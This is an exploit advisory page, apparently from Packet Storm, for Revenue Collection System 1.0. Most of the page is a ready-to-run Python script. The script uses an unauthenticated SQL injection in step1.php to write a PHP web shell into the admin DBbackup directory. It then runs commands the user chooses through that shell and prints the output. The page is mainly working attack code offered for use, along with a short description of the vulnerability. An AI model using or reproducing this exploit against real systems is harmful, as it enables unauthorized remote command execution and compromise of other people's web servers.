Revenue Collection System 1.0 SQL Injection / Remote Code Execution

Revenue Collection System version 1.0 suffers from an unauthenticated SQL injection vulnerability in step1.php that allows remote attackers to write a malicious PHP file to disk. The resulting file can then be accessed within the /rates/admin/DBbackup directory. This script will write the malicious PHP file to disk, issue a user-defined command, then retrieve the result of that command.


SHA-256 | b41c4f6c71ea1156cfd52b2bd3c354cdb2fc0372d5b22d463c64b50c55b777c0

Download
# Exploit Title: Revenue Collection System v1.0 - RCE via Unauthenticated SQL Injection
# Exploit Author: Joe Pollock
# Date: November 16, 2022
# Vendor Homepage: https://www.sourcecodester.com/php/14904/rates-system.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/rates.zip
# Tested on: Kali Linux, Apache, Mysql
# CVE: T.B.C
# Vendor: Kapiya
# Version: 1.0
# Exploit Description:
#   Revenue Collection System v1.0 suffers from an unauthenticated SQL Injection Vulnerability, in step1.php, allowing remote attackers to 
#   write a malicious PHP file to disk. The resulting file can then be accessed within the /rates/admin/DBbackup directory.
#   This script will write the malicious PHP file to disk, issue a user-defined command, then retrieve the result of that command.
#   Ex: python3 rcsv1.py 10.10.14.2 "ls"

import sys, requests
def main():
  if len(sys.argv) != 3:
    print("(+) usage: %s <target> <cmd>" % sys.argv[0])
    print('(+) eg: %s 192.168.121.103 "ls"'  % sys.argv[0])
    sys.exit(-1)

  targetIP = sys.argv[1]
  cmd = sys.argv[2]
  s = requests.Session()
  
  # Define obscure filename and command parameter to limit exposure and usage of the RCE.
  FILENAME = "youcantfindme.php"
  CMDVAR = "ohno"
  
  # Define the SQL injection string
  sqli = """'+UNION+SELECT+"<?php+echo+shell_exec($_GET['%s']);?>","","","","","","","","","","","","","","","",""+INTO+OUTFILE+'/var/www/html/rates/admin/DBbackup/%s'--+-""" % (CMDVAR,FILENAME)
  
  # Write the PHP file to disk using the SQL injection vulnerability
  url1 = "http://%s/rates/index.php?page=step1&proId=%s" % (targetIP,sqli)
  r1 = s.get(url1)
  
  # Execute the user defined command and display the result
  url2 = "http://%s/rates/admin/DBbackup/%s?%s=%s" % (targetIP,FILENAME,CMDVAR,cmd)
  r2 = s.get(url2)
  print(r2.text)
  
if __name__ == '__main__':
  main()

Source: packetstormsecurity.com
Related Posts